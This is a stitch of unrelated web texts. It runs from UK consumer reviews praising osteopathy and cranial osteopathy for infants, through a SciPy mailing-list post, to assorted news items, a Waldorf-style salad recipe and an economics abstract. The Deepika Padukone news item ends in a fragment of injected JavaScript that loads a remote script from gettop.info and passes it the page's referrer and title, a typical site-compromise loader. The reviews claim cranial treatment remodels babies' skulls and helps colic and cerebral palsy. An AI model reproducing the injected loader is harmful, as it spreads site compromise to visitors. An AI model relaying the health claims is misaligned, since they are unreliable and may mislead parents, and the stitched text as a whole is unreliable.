Osteopaths aim to "tune up" your body making it balanced and more efficient.
They are able to detect abnormalities and areas that aren't functioning fully in the body by touch alone. They then work with the bodies own ability to heal itself using manipulation and stretching. It is all incredibly gentle.
Osteopaths treat all kinds of people, not just babies. Many adults also visit Osteopaths for things like poor posture, arthritis, and sports injuries. In babies it is used to treat colic and sleeplessness amoungst other things.
Osteopaths must be registered and they have to undertake a 4 or 5 year honours degree programme with clinic training.
Although some GP's are now referring patients on the NHS, the majority are private. A 30 minute session can cost anything from £20 up to £50, with the first session costing a little more as this session tends to be longer. How many sessions you need largely depends on how well you respond, some people only need two or three.
At the first session a detailed medical history is needed including details on your lifestyle and diet. For babies you will need to fill out a detailed questionaire about the pregnancy and birth. You will usually be requried to undress to your underwear [or nappy if you are a baby!].
My four month old son has now had three sessions with his osteopath, and the difference is remarkable. We took our son to an osteopath for three reasons; he had congenital muscular torticollis [His head tilted to one side from where he was squashed in utero] and plagiocephaly [Abnormal moulding of the skull] Also he was still waking up 10 or 11 times a night [very tired Mummy!]
There were other options for the former two problems but osteopathy seemed the gentlest. At our first appointment Tom, his osteopath, took a lot of details about my son, my pregnancy, the birth and the post natal period. I then stripped him down to his nappy [my son, not the osteopath!] and Tom spent alot of time talking to him before picking him up. He laid him on a couch and felt all over his body, spending a lot of time at the base of his spine.
He then sat him on his lap and put very gentle pressure on the skull, my Son didn't mind in the slightest, it was almost as though he knew Tom was trying to help him! At the end of the session there was an astounding difference in my son's head shape, and his tilt was only noticable when he was tired. And he was only waking up 4 or 5 times a night!
We have just had his third session and his head is now lovely and round, and 99% symmetrical. His tilt is hardley ever apparent, and last night he only woke up twice!
However he did cry at the end of the session because there was a big "release" which although isn't painful, does over sensitise everything.
I would recommend osteopathy to anyone, it is almost miraculous.
I used to suffer from RSI. Or something like RSI anyway. As a computer user who spent a lot of time working with databases (tabbing across fields, pressing return a lot) I ended up with painful hands. Hands, not wrists. So... as I was working at a private hospital, I got myself some free physiotherapy. This involved electrotherapy on both hands, massaging in Ibuleve (ibuprofen) cream and sitting with bags of frozen peas on my hands in the evenings in front of the TV. After six sessions and zero improvement, I went for the second option... Which was going to my local GP. He suggested that I required a course of anti-inflammatory tablets to take down any inflammation (of course I had already done all possible to improve my working environment - good chair, graphics tablet rather than mouse, monitor the right height etc etc). So my nice GP gave me Voltarol (diclofenac sodium) tablets and sent me on my way. I took the Voltarol for about six weeks and the problem seemed to ease slightly. The Voltarol tablets ran out and I didn't get round to getting any more. Then I found I was getting really tired. I thought I had flu. Then I thought I had ME/Chronic Fatigue Syndrome. I completely lost my appetite. When I eventually got an appointment with the doctor they said I had a Urinary Tract infection and gave me antibiotics. Two days later I was at the emergency doctor as the antibiotics made me badly sick. That doctor diagnosed me with diabetes, told me to eat fruit and no sugar, and sent me on my way. Scary moment. [Yes, I know this Op is about Osteopathy... it will come!] Anyway, trotted back to my own GP Monday morning who said that it wasn't diabetes as my readings were too low and I hadn't tested positive for sugar in my urine on my earlier visit. So they'd take a blood test. Blood test results came back eventually. I was in renal (kidney) failure. Now that's DEAD scary. Go
t sent up to the renal consultant at Guy's Hospital in London who did a biopsy (operation) on my birthday and concluded that I had suffered an allergic reaction to the Voltarol tablets I had taken for my RSI. Not only that, I would now be allergic to any other NSAID tablet such as ibuprofen, and that would include rubbing ibuprofen into the skin. Treatment for my interstitial nephritis involved a year on steriods (which did help the RSI situation!), putting on 3 stone in weight, loads of other side effects, but almost complete recovery from the kidney failure (I have some residual damage but not enough to worry about). So, now what. Off steroids I still had painful hands. I work with computers; I can't take Voltarol/ibuprofen or rub in Ibuleve. What to do? It just so happened a friend of mine said she had spoken about it with a friend who was an osteopath and that he said he could help about 50% of cases with RSI. Well, I thought I'd go for it - I had no other options. For my first visit the Osteopath, Brian Hounsfield of Epsom, took a full medical history. This took about 20 minutes and was very thorough. Apparently osteopaths are the only people (other than doctors) who are allowed to "diagnose". Anyway, we talked through everything and then he examined me. He got me to do lots of movements with my head (looking over my shoulder, looking up and down etc etc) and also looked at my hands, tested my reflexes and lots of other stuff. He then diagnosed my problem - and it was with my neck! Nothing to do with my hands, but actually a problem starting in my neck which affected my hands. Treatment involved me lying on the plinth (hospital bed thingy) whilst he gently pulled my head away from my body with a massage-like motion. It was pleasant - not uncomfortable. He did this for about ten minutes. Then, suddenly and very surprisingly, took my the side of my face in one hand and held m
y head in the other and swiftly twisted my neck to one side. There was an audible crack - like a gunshot! Then he carried on with the neck stretching, and then twisted the other way (another loud crack, but this time less of a surprise as I was ready for it!!!). He then did a little more neck stretching, did a couple of minutes work on my hands, and that was it. I stood up and then did all the looking over my shoulder exercises. I could twist my neck much further round, look up and down much further, and my head felt kind of light. The cost of this treatment was £35. He asked me to book an appointment for a fortnight's time, which I did. But my hands were almost better after this first treatment. It was like magic! The second treatment took about 25 minutes. And at the end of that there was no problem with my hands. Amazing! I asked him if I needed to do exercises at home or anything and he said no, just to make sure that I slept with only one pillow, not the two that I had, and to try not to read in bed (which I still do, actually!). I now go back every six months or so just to be "topped up" and the RSI is under control. I have a few other friends with a similar RSI-type problem and I have to say that we are all fairly tall. I of course recommend the osteopath to them all. Brian also sorted out my husband's whiplash after a bad car accident. I think osteopathy's great. I also wish I'd gone to the osteopath before two years of faffing around with other methods of treatment which involved kidney failure!!!
About four months ago, the company I work for, generous souls that they are, decided to give us all free gym membership, hoping no doubt to breed a new generation of fit, happy workers just raring to work our little socks off with all the increased energy and happy hormones flowing through our bodies. Never having been a fan of exercise, I seriously doubted my ability to stick to any kind of programme, but thought I'd give it a go. I tried a few classes, and found one that I liked, a kind of weightlifting class to music, and I also did a few cardio sessions each week. About two months into this, I started to get a weird kind of pain in my upper back, around my left shoulderblade, which seemed to radiate out around my chest and down my arm. When I breathed in, I got a sharp pain in my chest, which really scared me. The pain came in fits and starts - it would flare up, hurt for a couple of days and then disappear completely, so I kept putting off getting it seen to, hoping it would go away. One weekend it was particularly painful and I decided I had to pay a visit to the doctor. He was very dismissive, informed me that I had a "slight muscular strain" and prescribed some anti inflammatory painkillers. I went away puzzled and still in pain - the painkillers were pretty useless, and it didn't feel at all like a muscular strain. I decided to seek help elsewhere. I dithered over whether to try a chiropractor or an osteopath, not really sure what the difference is, and finally chose an osteopath near to where I live. I wasn't sure what to expect, and I was a bit nervous, expecting more pain and probably no relief. The clinic (in Clapham, South London) was small and welcoming, I didn't have to wait long before I was introduced to a smiling man in a white coat. He asked me some lengthy questions about the problem, my medical history and stuff, then I had to take my shirt off and he carefully exa
mined my back, commenting on the tightness of the muscles - not surprising, I'm a computer worker and rarely leave my desk during the day - and my posture. He then told me the problem was caused by a displaced rib, probably through lifting something wrongly - the gym class! In order to correct the problem, he said my muscles needed to be loose, so I lay on my side on a couch and he sort of pulled them around, loosening them, then I lay on my back and he pushed at the rib, there was a loud cracking sound and the pain was gone! I really couldn't believe it! it was that quick and simple. I was so impressed. I ached a little the next day, but the serious pain was gone and I've had no problems since. I'd have no hesitation in recommending osteopathy for this sort of musculo-skeletal problem. Doctors are fine with diseases but they really don't seem to have a clue when it comes to back problems - this wasn't my first bad experience with a doctor over an injury.
It all started while I was in labour with my little girl, there were complications where my daughters heart rate dropped rapidly and there was concern as to whether she was getting enough oxygen in the womb or not, to find this out the doctor had to take a blood sample from the top of Mia's head and test it to check the oxygen levels, this proved very difficult and took over an hour of prodding and poking. Needless to say little Mia was born very upset with a head full of angry red scratches and cuts. As any new parent knows newborns tend to do nothing in the first few hours but sleep, it was obvious to me even within an hour that Mia was not a settled baby, and who could blame her after such a traumatic time! Of course all I wanted to do at the time was hold and love her as much as any new parent possibly can but still she was upset and screamed if you went near her head... I was assured this was a temporary "discomfort" and would soon pass, it took 5 days for the marks to go down... The next thing we noticed was the 'V' shaped ridge across the top of Mia's head, at first we thought this was simply more obvious with Mia as she had very little hair and my other 2 boys had had quite a bit, but we mentioned it to the Health Visitor anyway to be told it was a common case of where the skull is molded in the birth canal and should reshape itself to normal by 3 months, it did in deed reshape but it took until she was 4 and a half months... While this was going on Mia remained to be unsettled, crying whenever laid on her back and constantly pulling at the back of her head and behind her ears while sobbing, of course this was traumatic for her and us and the only way we could soothe her was to carry her around and let her fall asleep propped up on our shoulders, by the time Mia reached 3 months I found myself looking into Cranial Osteopathy, I had heard various stories about this from television and media to magazine articles and
it seemed to do wonders. I was surprised to see this was aimed at young babies with anything from cerebal palsy to colic (it especially helps babies who have had a traumatic birth ie, forceps or ventouse delivery etc) AND adults suffering from sports injury, strain or migraine etc. I was very naive at first as to the wide range of things that Osteopathy can treat and admit to being a bit sceptical about the whole thing at first, I mean isn't it just somebody bragging a dimploma in massage and just widening it a bit? Well I couldn't have been more wrong!! Osteopathy is a treatment where the specialist you choose to see works with the structure and function of the body, finding a diagnosis and then treating it rather than just aiming anywhere. As we all know our limbs and joints have to be in good health or we just won't work as good! Thus if you have problems with the "framwork" of your body it can seriously affect the circulatory system, any nerves in the body and even affect your general health. The Osteopaths job is to restore the structure and the function of your body, resolving a perfect balance and harmony and restoring good health. Cranial Osteopathy is aimed solely at the head and neck that encourages the release of stress and tension throughout the body, this form of Osteopathy is extremely gentle (making it suitable from birth to adult) but very effective at relaxing the whole body and should be recommended to anyone suffering from any form of stress or tension. On explaining to my family and friends that we were introducing Mia to Cranial Osteopathy... "Oh I didn't tell you did I?" "What?" "We're taking Mia to see a Cranial Osteopath" "A what??" "It's a Specialist that deals with releasing extreme stress and tension in babies by head massage.." "Oh, erm, could you not just masage her head
yourself?" Well the reason that you don't get the same effect by trying massage yourself is that Osteopaths are trained to feel a very subtle, rhythmical shape change that is present in all body tissues. This is called the Cranial Rhythm. The movement is very small, therefore it takes practitioners with a very finely developed sense of touch to feel it. Tension in the body disrupts the cranial rhythm. Practitioners compare what your rhythm is doing to what they consider ideal. This shows them what stresses and strains your body is under at present, and what tensions it may be carrying as a result of its past history. It also gives them an insight into the overall condition of your body, for example if it is healthy, or stressed and tired. On taking Mia for her first appointment to see her Osteopath we were introduced as to what benefits Mia, and us!, could possibly get from Cranial Osteopathy, we were also told that even after the first session the Osteopath would be able to tell us if it would benefit Mia or not and he would not waste our money by telling us to continue treatment if it would be of no help. I first thought this would be quite simple and Mia would lie there quite happily relishing in the soothing massage. Umm hardly! Simon (the Osteopath) explained that in deed Mia had a lot of compression, all babies skulls "overlap" as they are born only to "open" up after a couple of days before they "fuse" themselves together into a "proper" skull shape! Mia's had overlapped a bit too much on her way into the world and although it had "opened" up ready to "fuse" together, it hadn't done it as much as normal and was causing a lot of pressure, explaining why she wouldn't lie on her back and kept pulling at the back of her head, she was getting headaches! poor babe! (this sounds quite horribly painful and probably is but we were reassured it is quite common and if le
ft babies tend to mould into the skull rather than the other way round - no evidence has proven that this causes any problems in adult life just tends to make life a lot easier at the time). Mia cried while she had the treatment, quite a bit actually, we were told this was because although it doesn't hurt it was a bit uncomfortable as Simon gently (believe me its very gentle pressure) massaged the skull bones into the right position. We were reassured at the next session Mia will probably enjoy it as the releasing has already taken effect. As soon as he had finished and I picked Mia up she was all smiles again and has been much more relaxed in herself since it was done, she will happily play, doesn't pull at her head as much and is in general much happier! We are lucky Simon told us we will only need 2 or 3 session at the most and all the tension and pressure will be gone, some babies need upto 10 sessions but it is definitely worth it and I personally would recommend it to anyone young or old! Prices at Manchester... £25 first session £18 subsequent sessions (per hour) Helpful information:- www.nat-healthclinic.co.uk/cranial www.cranial.co.uk Ann Cook 8 Upper Guildown Road Guildford GU2 5EZ Tel: 01483 504508
Cranial osteopathy was recommended by a friend of mine whose children all had colic, but were cured by osteopathy. When my daughter was crying endlessly and unconsolably every evening for 4 hours, we decided that something needed to be done. We went to a local practioner and he charged us £27.50 per session. He asked us questions about her birth and genaral health to see if there was any reason for her colic, and then gently held her in various positons in order to make changes in her system, which would help any trapped wind escape more easily. My daughter only needed 2 sessions and she was a completely different baby. It's not guarenteed to work, but definitely did the trick for us.
Physiotherapy, osteopathy and chiropractory. I have had them all and benefitted from them all. What's the difference? Physiotherapy - largely massage of the affected area. Chiropractory - manupulation of the spine, lots of jerks and cracks. Osteopathy - a little of the two. I can't recommend these therapies highly enough. Anybody who has a normal lifestyle probably needs some therapy and all you Dooyoo users almost definitely do, as sitting at a computer is one of the worst things you can do. Modern lifestyles lead us towards bad posture. All of our chairs and car seats are designed badly and we are lazy and don't exercies enough (on the whole). This leads us to having a spine shaped like and S, when it should be much straighter. Going to see an ostepath, or a physiotherapist (the least scary of them as they are soothing when the crack your spine, not just doing it as a matter of course) will benefit you as you can increase your area of rotation of your neck, shoulders and waist. At around £25 for the first consultation which should last about an hour, and then about £17 per half hour appointment after that, it is not very cheap. But most people only need to see a therapist once or twice per year to keep them nice and flexible. Look in the Yellow Pages to find one near you and make sure they are registered - it will say so next to their ad in the phone book. Be prepared to strip down to your underwear and wear a back fastening bra (girls) so that it can be undone easily. I would recommend it to anyone. Freedom of movement is a wonderful thing. I am usually high as a kite when I come out. I find it very relaxing and feel very pampered. After the first session, I can be a little sore as my muscles are lazy and not used to the movement, but this soon wares off. Try it. It will make you feel good when you didn't realise you were feeling bad.
An osteopath uses manipulative therapies to deal with problems associated with the musculoskeletal system. They work with bones, muscles and connective tissue, using their hands to diagnose abnormalities and then treat them by realigning the body. They carry out a range of soft-tissue manipulation to relieve muscular spasm or increase a joint's range of movement and also they manipulate bones using sharp thrusting movements. All chiropractors and osteopaths are now state registered and regulated. Manipulative treatment is beneficial for headache, including migraine, childhood glue ear, colic, arthritis and sports injuries.
I have a long term problem with my ilo siliac joint (sorry, Im not sure of the spelling!) in my pelvis area, following a car accident six years which fractured my pelvis. I take anti inflammatorys and various other pain killers and injections, but I do find that visiting the osteopath does help. My osteopath is very good and I feel that I can trust him. He doesnt encourage me to go for courses or anything to get more money out of him, just leaves it for me to make another appointment when I feel I need to. And I dont go that often, just when my hip gets really inflamed, and I cant bear it any more. But he has always helped when I have been. It costs between 20 and 30 pounds from my experience, more for the initial consultation. You need to be sure that you visit a good one as well, because I have heard some real horror stories about people who have visited bad ones! You can look registered ones up in Yellow Pages, and you would need to make sure they are registered, but I would also ask around and get recommendations first. For anybody that hasnt been before and is worried, mine has never caused me any pain. My hip does feel a bit worse for a day or so after before it starts getting better, and if it is your first visit it might be an idea to get someone else you can drive back just in case. But it is not a horrible experience, quite the opposite. Mine is almost alternative, he normally only does a couple of gentle manipulations per visit. The rest of the time he kind of holds his hand on the inflamed area, and moves them a little every now and again. He explains that your body is constantly assessing the situation, seeing what needs help and where, and that he is guiding it to where it needs to go and what it needs to do. Like I say it sounds almost alternative, and Im not sure that all osteopaths work like that, mine has been on an awful lot of courses, but it does work. Give it a try! But ask around for recommendations first.
I cannot rate osteopathy highly enough. I was a little uncertain the first time that I went with my back problem, but I would have no hesitation in recommending this to anyone. Several times I have cricked my back and had trouble walking, and my osteopath has fixed it first time every time. On one occasion, I was referred by my GP for physiotherepy for a problem with my elbow. After six sessions and no change in my condition, I went to my osteopath and he manipulated my neck and all was well within a week. I have been impressed at the professionalism of the osteopath and his partners. They do not ask you to make further appointments unnecessarily and have shown me exercises that I can do to relieve my back pain and thus negate the need to attend the practice.
I have been using osteopathy for back pain for many years. It has been the only way I have found to relieve backache, leg pains, sciatic nerve pain etc etc apart from medication. Each practitioner appears to do the same job but they certainly have different results. If I have a problem that doesn't resolve I try a different therapist and very often they seem to sort me out quickly. I have also used them for headaches, massage and to relieve trapped nerves in elbow and wrist. Again matching the therapist to the job is the key. Unfortunately this can be an expensive experiment but it is worth it in the end.
This might not be suitable for everyone with back problems and i would seek a doctor's opinion before embarking on a course of treatment. We first got involved with osteopathy when our son suffered a whiplash effect when in the car after we had had to swerve to avoid an oncoming maniac. I took him to the hospital and he was given a neck collar. For 10 days he wore the collar but would not move his neck and kept his chin tucked into his shoulder. I was getting worried that muscles would atrophy and he would be like that for the rest of his life. He was 3 at the time. A friend suggested an osteopath as the hospital was as much use as a chocolate fireguard. The osteopath gave it a few swift clicks, my son was able to move his neck and never wore the collar again. I needed to go to see one after suffering with bad back pain as a result of bad posture. Again some clicks or freeing up of stiff tendons and I'm almost as good as new. Again choose someone is registered with the governing body-you don't want to end up in a worse state.


text: All, Consider the poisson distribution in stats.distributions: it requires a mandatory argument, `mu`, as the mean/variance of the distribution. All is fine, but the `loc` parameter is still available, and that's my problem. When `loc` is not 0, the mean becomes `mu+loc`, `.cdf(range(loc))==0`, but the variance stays `mu`. That's a bit confusing. I thought I could use `loc` as a way to control truncation, but that doesn't seem to work either: emulating zero-truncation by using `loc=1` gives a distribution with a mean `mu+1` when is should be `mu/ (1-exp(-mu))` (the exact expression for zero-truncation). In short, I don't really see any advantage in having a location parameter for the Poisson distribution. AAMOF, for any discrete distribution. I suggest we would implement some mechanism to force loc to 0 while outputting a warning. Any comment ? P.

Deepika Padukone was in Ahmedabad to promote her upcoming film Ram Leela; which is set in Gujarat. At the airport, instead of fans, she was greeted by protesters who were protesting against the film. The protesters, belonging to the Rajput community, were detained by the police and released later.
Reason for the protest according to the Rajput community is that the movie grossly misrepresents Rajputs. They also filed a public interest litigation against the movie in the Gujarat High Court, seeking a ban against the film in the state.
Apparently, the movie depicts enmity between the Rabari Rajput and Darbar Rajput communities, that has been going on for the last 500 years. In the movie, Deepika Padukone plays a character from the Darbar community and Ranveer Singh plays a character from the Rabari community. This and the incidents depicted in the movie might result in the instigation of fights between the two communities.
This, in its wake, might lead to violent altercations between the two communities, according to the protesters.
The movie releases on November 15.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";

Car won from casino still undelivered
Woman claims she was taxed $134,000 for Aston Martin she never got
Don Bauder 3 p.m., Nov. 23
Since launching Operation Lemon Drop in mid-July, sheriff's deputies have continued to target trolley passengers in Lemon Grove for fare-payment enforcement and as a catch-all for other offenders. Criminals, however, seem to not be reading the news, as arrest totals continue to climb.
Authorities have visited the trolley station at least four times since the initial operation, with the most recent mass interrogation occurring last Friday evening.
Metropolitan Transit System police officers issued another 102 citations between 2 and 10 p.m. on August 15, sheriff's media relations officer Melissa Aquino reported on August 18.
After citing the scofflaws, deputies conducted interviews and warrant checks, resulting in 43 arrests on charges ranging from possession of drugs or stolen property to public drunkenness, making the latest sweep one of the most effective since the trolley operations began.
Metro Rail (part of MTA) in LA County is losing $millions due to fare cheaters. Their original honor system was doomed from the start.
As long as schools teach entitlement, and tolerance of those who have no honor, the "honor system" will continue to be a failure.
Two recent stabbings of people on MTS trolley. One ecritical.. No security camera shots from two stabbings were every shown on tv and the knifers are still walking.....in and out of trollley cars...
The crime has increased around all trolley stations. While public transportation is important and many people use the trolley it also imports trolley trash. It is no surprise that the dirt bags don't read. Every trolley station should have a police station and screen the people getting off the trolley.
I guess knives are allowed, but their policy does not allow firarms, even for people who have permits to carry concealed. Good thing the "rule" is not legally binding.

Men's golf Musketeers place 10th in Xavier Provident Invitational
Rain washes away second round of play, results from first round stand | October 15, 2003
Indiana University is the team champion, followed by Marquette University and Bowling Green State University.
Indianas Jeff Overton took home the medallist honors, his fourth tournament victory of the fall. Marquettes Michael Bielawski placed second, and Bowling Greens Heath Ziglar came in third.
Freshman John Streibich, who on Monday earned his second Atlantic 10 Rookie of the Week award of this season, led Xavier during the first days rounds with a 1-under 141 after shooting a 69 in Monday afternoons second round. He was tied for 16th heading into Tuesdays final round.
As a team, Xavier posted rounds of 290 and 285, for a total score of 575 that placed them 10th, but within five shots of fourth place.
Tuesdays final round got underway as scheduled at 8:00 a.m. Shortly before the final morning tee times around 10:00 a.m., rain started to fall and made the course unplayable. Play was suspended at 10:33 a.m.
The event was the final one of the fall for the Xavier mens golf team. The Musketeers are returning to action when they host the St. Croix Collegiate Classic in the Virgin Islands on March 5-7.

Jessica Nigri is back to promote Suda's Killer is Dead
In what was one of the most genius ways to market your upcoming game, Suda 51 hired gorgeous cosplay model, Jessica Nigri, to portray the main character, Juliet Starling. Even people who weren't previously interested in the game all of a sudden showed interest thanks to some provocative shots and some classy cosplay.
It looks like Suda and Nigri are at it again for his upcoming game Killer is Dead. While I can't tell you what the heck is going on in this video, as everyone, including Jessica, is speaking in Japanese, there comes a point where Gigolo glasses are discussed, and well, things get a little bit more interesting.
While it does seem at parts that Jessica is a little confused about what's going on screen, she does seem to have a talking segment herself. Is Jessica fluent in Japanese? Is it just rehearsed? Does it matter?! Just enjoy the video. You're welcome.
According to the official Killer is Dead website:
KILLER IS DEAD™ is a brand new action title jointly developed by KADOKAWA GAMES and GRASSHOPPER MANUFACTURE, with SUDA51 lending his trademark sense of style at the helm.
A reputable execution agency's newest recruit, Mondo Zappa, takes center stage as he stalks and beheads a wide variety of heinous criminals all across the world (and even, perhaps, outside of it). As he settles into his new job, he also comes to terms with his own inner demons, balancing his talent for dispensing swift and brutal justice with his fleeting memories of a traumatic past, and peppering it all with his many sensual conquests.
Be he a killer, a lover or a gigolo, his many tales of passion and brutality begin with his appointment at Bryan´s Executioner Office. A whole world of pain and pleasure awaits, and there's no telling where it might take him next...

Moscow - The Russian billionaire co-owners of TNK-BP, the Russian joint venture of oil major BP, are not in a position to block the possible sale of the British company's stake, a source close to BP said.
"We can sell it if we want to," the source told Reuters in response to speculation that the billionaire quartet would seek to veto any deal.
The Financial Times newspaper, citing a spokesperson for Russian shareholder consortium AAR, on Monday reported that the TNK-BP shareholder agreement prevents BP from giving out any confidential information to a third party without its consent.
The FT said such limitations could make it hard for a prospective buyer to complete due diligence on BP's stake, effectively giving AAR a veto right over any deal and making it harder for BP to exit without the risk of litigation.
Sources on both sides have said that it would be possible to bypass a clause in the joint venture's shareholder agreement that offers each owner the right of first refusal to buy their partner should one decide to exit.
BP, which paid a total of $8bn in 2003 to buy one half of TNK-BP, said on Friday it had received expressions of interest in its stake - estimated to be worth $30bn - and would pursue a possible sale.
Sources familiar with the matter say that the main suitor is Rosneftegaz, a Russian state energy holding company that controls Rosneft, the country's largest oil company.
Igor Sechin, a former deputy prime minister and close ally of recently-elected President Vladimir Putin, has been appointed CEO of Rosneft. Putin - in his last act as prime minister - nominated Sechin to the board of Rosneftegaz.
Sources close to Rosneft say that Sechin, whose dream of striking an Arctic exploration and share swap deal with BP was thwarted by AAR a year ago, has been given a mandate to build a state oil champion capable of competing on a global scale.
Sources close to AAR have said that they would be willing to buy out BP for a consideration of $25bn.
One veteran Moscow-based executive said a state buyout appeared the most likely option after the AAR shareholders - led by banking-to-retail billionaire Mikhail Fridman - lobbied former president Dmitry Medvedev to oppose the BP-Rosneft deal.
"The end game is that the state buys (TNK-BP)," said the source. "The issue is that Fridman overplayed his hand a couple of times."

About a thousand years ago I tried a Waldorf salad. I don't remember the circumstances or who made it. I remember having been very young. I also remember the weather as having been distinctly chilly but not yet particularly snowy, which would put it sometime between October and early December depending on the year. I'll say it was around Thanksgiving. Maybe we made it in class or something. Anyway, when I came home from my latest pilgrimage back to my native land (Syracuse), my husband decided that we needed to throw an impromptu dinner party. Long story. Anyway, I was desperate to think of things to supplement the pulled beef he made, and maybe it's the fact that it is now apple season in Syracuse but that youthful experience with Waldorf salad was stuck in my head.
A classic Waldorf salad involves apples, celery, mayonnaise and grapes as well as walnuts. Now, I don't remember my youthful salad having had mayonnaise. I hate mayonnaise and since my recollection is so very, very positive there could not have been mayonnaise in the original. Maybe the cook used sour cream? My intention was to use yogurt here but I ran out. I decided to go with the sour cream instead. Grapes were certainly not going to be used for such a purpose in this house - my 20-month-old daughter is obsessed with "beeps" and would never let them be put anywhere but directly into her mouth. I planned to use walnuts, but the Spouse informed me that he hates walnuts. I used some roasted, salted pistachios I had on hand instead, which meant that I didn't need to add any more salt to this dish.
The result was pretty darned good, if I do say so myself. I liked the pistachios here, and I liked the apple. The celery lent a pleasing crunch and the sour cream was much lighter on the palate than mayonnaise. (At least, it was much lighter to my palate. And that's the one that counts.) Furthermore, one of our guests (who professes to detest vegetables and anything else that is not meat) took all the leftovers with him when they left, so I guess it was a hit with more than just me!
Apple and Celery Salad (serves 8; approx. $1.74/serving)
5 apples, chopped
1 bunch celery, chopped
1 bag roasted, salted pistachios
1 cup (approx.) sour cream
- I like to drop the apple pieces into a bowl of acidulated water - just a bowl of water with some lemon juice or whatever - as I cut them. This helps to make sure that the pieces do not brown. Since the browning does not really affect the taste of the apples - not for a few hours anyway - this piece of equipment is recommended but optional.
- Combine the apples, celery and pistachios in your serving vessel of choice. Toss to combine.
- Add the sour cream. Toss very well to ensure that the sour cream is evenly distributed.
- Serve.

The lights at the Superdome have barely been intentionally turned off, signaling the end of another NFL season, and it hasn't been long since the confetti was swept up following the Ravens' Super Bowl victory celebration.Comment on this story
Yet there is still plenty to look forward to and speculate as the NFL heads into the offseason with the free-agency period, which starts on March 12, now less than a month away.
Teams will begin to restructure, not only from a personnel standpoint, but perhaps more importantly from a financial standpoint, as they try to keep themselves under or near the league's salary cap.
These financial decisions are set to have a significant impact on players' futures, and several athletes who played collegiately in the state of Utah will be counted among those whose NFL future is altered.
Here's a look at five college players from the Beehive State who could be impacted by the NFL offseason shufflings.

Bank Lending Rates and Financial Structure in Italy: A Case Study
The paper notes that the high degree of stickiness of bank lending rates observed in Italy in the past is related to constraints on competition within the banking and financial markets. Using individual data for 63 local Italian banks in a variety of financial environments, it discusses the effect on the lending rate determination process of the recent sweeping financial liberalization in Italy. The paper also discusses the role of the discount rate in speeding up the adjustment process of bank interest rates, and the pros and cons of its possible indexation.

To paraphrase Franklin D. Roosevelt, the annual summit of the leaders of the world's major industrial nations, known as G-8, may be facing its rendezvous with irrelevance.
What began amid the oil shocks and stagflation of 1975 as a dinner among six world leaders has mushroomed into political and media extravaganzas way out of proportion to their actual accomplishments.
Now, in the face of the worst global economic downturn since the Great Depression, other multinational groupings representing newly important players on the world scene have sprouted into prominence. And questions are being raised in Western and other world capitals about the usefulness of an economic summit that does not directly involve China, India, Brazil and other emerging powers.
For 13 years, journalist Reginald Dale covered economic summits for the Financial Times and the International Herald Tribune. (I have covered two.) He was there for the first when West German Chancellor Helmut Schmidt and French President Giscard d'Estaing came up with the idea of a quiet huddle of major leaders to sort through the issues.
"They thought they were superior to everyone else in economic leadership," Dale said. Joining them for a Saturday night dinner in the French countryside were President Gerald Ford and the leaders of Britain, Japan and Italy. Only a clutch of journalists took note of the event. The next year's summit, hosted by President Ford in Puerto Rico, brought in Canada and the year after the president of the commission of the European Community (now the European Union). Russia became a full member in 1998.
Initially, according to Dale, only economic issues were on the table, but political issues from the Middle East to global warming gradually took on increasing prominence. And the press corps expanded exponentially, perhaps reaching its most absurd level at the 1979 summit in Tokyo when the BBC sent six anchors and Japan's leading newspaper dispatched 300 reporters in three 100-person shifts.
As the press corps grew, so did the spin from national leaders and delegations. From a joint communique and then a joint press conference, the information gorge now includes national on-the-record briefings as well as countless background sessions as each leader tries to convince the voters back home that he or she is fighting for their interests.
Out of so many gatherings, stories emerge, especially from the era when the two conservative leaders, President Ronald Reagan and Britain's Margaret Thatcher, were often arrayed against their colleagues. Dale recalls Thatcher arriving at the 1981 summit and brushing right past a short man wearing a baggy jacket who could have been the butler. She was dragged back by her advisers to greet the newly elected president of France, Francois Mitterrand.
And before the 1983 summit in Williamsburg, Va., President Reagan had to sheepishly admit to his aides that he had not opened a briefing book the night before because he decided to watch the first network telecast of "The Sound of Music."
The protocol miscues that accompany a meeting of so many heads of state and government, such as President Jimmy Carter planting a kiss on Britain's Queen Mother at the 1977 London summit, are one-day stories. Others have more lasting consequences. In 1984, the leaders of France, Britain and the U.S. left the summit for the 40th anniversary observances of D-Day, but did not invite West German Chancellor Helmut Kohl. A year later, he staged his own war memorial observance, a trip with President Reagan to the Bitburg Cemetery, where it turned out there were SS grave sites. It was one of the major public relations fiascos of the Reagan administration.
And at this year's summit in L'Aquila, site of the devastating earthquake earlier this year, the opportunities for creative journalism are immense. The host, Italian Prime Minister Silvio Berlusconi, is under media and political pressure at home following an angry separation from his wife amid allegations he was dating an 18-year-old and hosting parties for young models and starlets at his Sardinia villa. And the sight of world leaders gathering in the few surviving buildings of L'Aquila, while many of the residents are still being housed in tents, has its own potential for a public relations nightmare.
Officially, the agenda for L'Aquila includes financial regulation; energy and environment, Africa and combating world hunger. But the backdrop obviously is the global economic crisis and whether the G-8 leaders will be putting forward any new strategies for re-invigorating the world economy.
But as several diplomats here acknowledge, the G-8 no longer is the principal forum for tackling the issues that arose out of last year's economic collapse. The real action, they agree, is at the G-20, a grouping of nations that comprise 87 percent of the world's economic output. Already there have been two G-20 summits in less than six months and a third coming in September. At these sessions, China is a major player, not merely an invited guest as at the G-8. Also at the G-20 meetings are other economic powers such as India, Brazil and Saudi Arabia. And from those G-20 meetings have come specific mandates to such existing international organizations as the International Monetary Fund. In contrast, the G-8 never has had a follow-up mechanism.
When asked if this should be the last G-8 and its mission formally handed over to the G-20, some diplomats from G-8 nations respond with various rationales for its continued existence. Among them, the G-8 provides "strategic thinking" about major political and economic issues. Another is that it offers a uniquely intimate gathering space for key leaders that no other global forum can provide. Even the G-20 can be cumbersome, these diplomats argue.
The consensus or conventional wisdom is that L'Aquila will not mean "arrivederci" for the G-8: It will carry on in some fashion, especially to take on political issues such as North Korea, Iran and nuclear proliferation that would be out of bounds for any other forum.
If presidents and prime ministers actually enjoy these meetings, as some diplomats assert, they will likely keep attending, even if the surrounding commentary questions their continued existence and importance.

Trinity College has embarked on the restoration of historic Strachan Hall and a renovation of the kitchen and servery. This project will transform the design and size of the servery and create a new kitchen with state-of-the-art food preparation equipment. The project will also see the restoration the Strachan Hall dining room.
The kitchen and its equipment have not been upgraded in well over three decades, and every piece of equipment is worn out and will be replaced.
